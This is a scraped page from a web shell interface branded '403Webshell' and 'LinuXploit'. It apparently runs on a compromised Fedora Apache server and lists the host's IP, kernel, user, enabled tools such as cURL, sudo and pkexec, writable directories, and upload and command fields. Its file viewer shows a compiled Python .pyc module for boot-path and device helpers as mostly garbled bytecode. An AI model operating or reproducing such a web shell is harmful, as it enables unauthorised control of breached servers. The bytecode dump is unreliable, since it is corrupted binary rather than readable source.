403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/preupgrade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/preupgrade//dev.pyc
Ñò
ˆnJc@sPddkZddklZd„Zd„Zd„Zd„Zed„ZdS(iÿÿÿÿN(tPUErrorcCs ti|ƒti|ƒ}}tdƒ}|iƒ}t|ƒt|ƒg}xJ|D]B}|iƒ}t|ƒdjo|dd!|jo	|dSqVWdS(sˆTry to convert st_dev to a devicename by reading /proc/partitions.
    Obviously this will only work when st_dev represents a partition.s/proc/partitionsiiiiN(	tostmajortminortopentreadlinetstrtsplittlentNone(tst_devRRtproc_partitionstdummytmajmintlinetl((s2/usr/lib/python2.6/site-packages/preupgrade/dev.pytst_dev_to_devicenames'
cCs+ti|ƒ}t|dƒo|iSdS(s:Try to convert a devicename to an st_dev by using os.stat.tst_rdevN(RtstatthasattrR(tdevicets((s2/usr/lib/python2.6/site-packages/preupgrade/dev.pytdevicename_to_st_dev!scCs|idƒpd|}ntii|ƒpdStid|ƒ}|iƒ}|iƒ|iƒ}|o|St	|ƒ}t
|ƒ}t|ƒSdS(s1Try to convert a devicename to a filesystem UUID.s/dev/s/sbin/blkid -s UUID -o value N(t
startswithRtpathtexistsR	tpopenRtclosetstripRRtdevice_to_uuid(RtpRR
((s2/usr/lib/python2.6/site-packages/preupgrade/dev.pyR's
cCstiid|ƒS(s1Return True if devname is an active mdraid devices/sys/block/%s/md/level(RRR(tdevname((s2/usr/lib/python2.6/site-packages/preupgrade/dev.pyt	is_mdraid:sc
Cs-ti|ƒi}t|ƒ}tdƒ}d}x^|D]V}|iddƒ\}}}	tii|ƒo"t|ƒ|jo|}Pqq7q7W|pt	d|‚nt
|ƒot	d|‚n|djo|i|ddƒ}n|o1|o*|od	t|ƒ}nd
||fSdSdS(sòConvert a path under /boot to a path that anaconda will understand.
    Returns a string anaconda's loader can use to find that path, e.g.:
    '/boot/upgrade/stage2.img' -> 'hd:sda1:/upgrade/stage2.img'

    If UUID is set to True, the returned string will use UUID= to specify
    the target device, e.g.: 'hd:UUID=[uuid]:/upgrade/stage2.img'
    This is much more reliable, but only supported in Anaconda 11.5.1.15
    (Fedora 10 Alpha) or later.
    
    Raises PUError if something goes wrong.s	/etc/mtabtt is-Could not find mount point for boot device %ss/boot is on RAID device %st/isUUID=%sshd:%s:%sN(RRR
RRRRRRRR treplaceRR	(
tsomepathtUUIDR
tbootdevtmtabt
mountpointRtdevtmptrest((s2/usr/lib/python2.6/site-packages/preupgrade/dev.pytbootpath_to_anacondapath>s,


(	Rtpreupgrade.errorRRRRR tFalseR-(((s2/usr/lib/python2.6/site-packages/preupgrade/dev.pyt<module>s	
			

Youez - 2016 - github.com/yon3zu
LinuXploit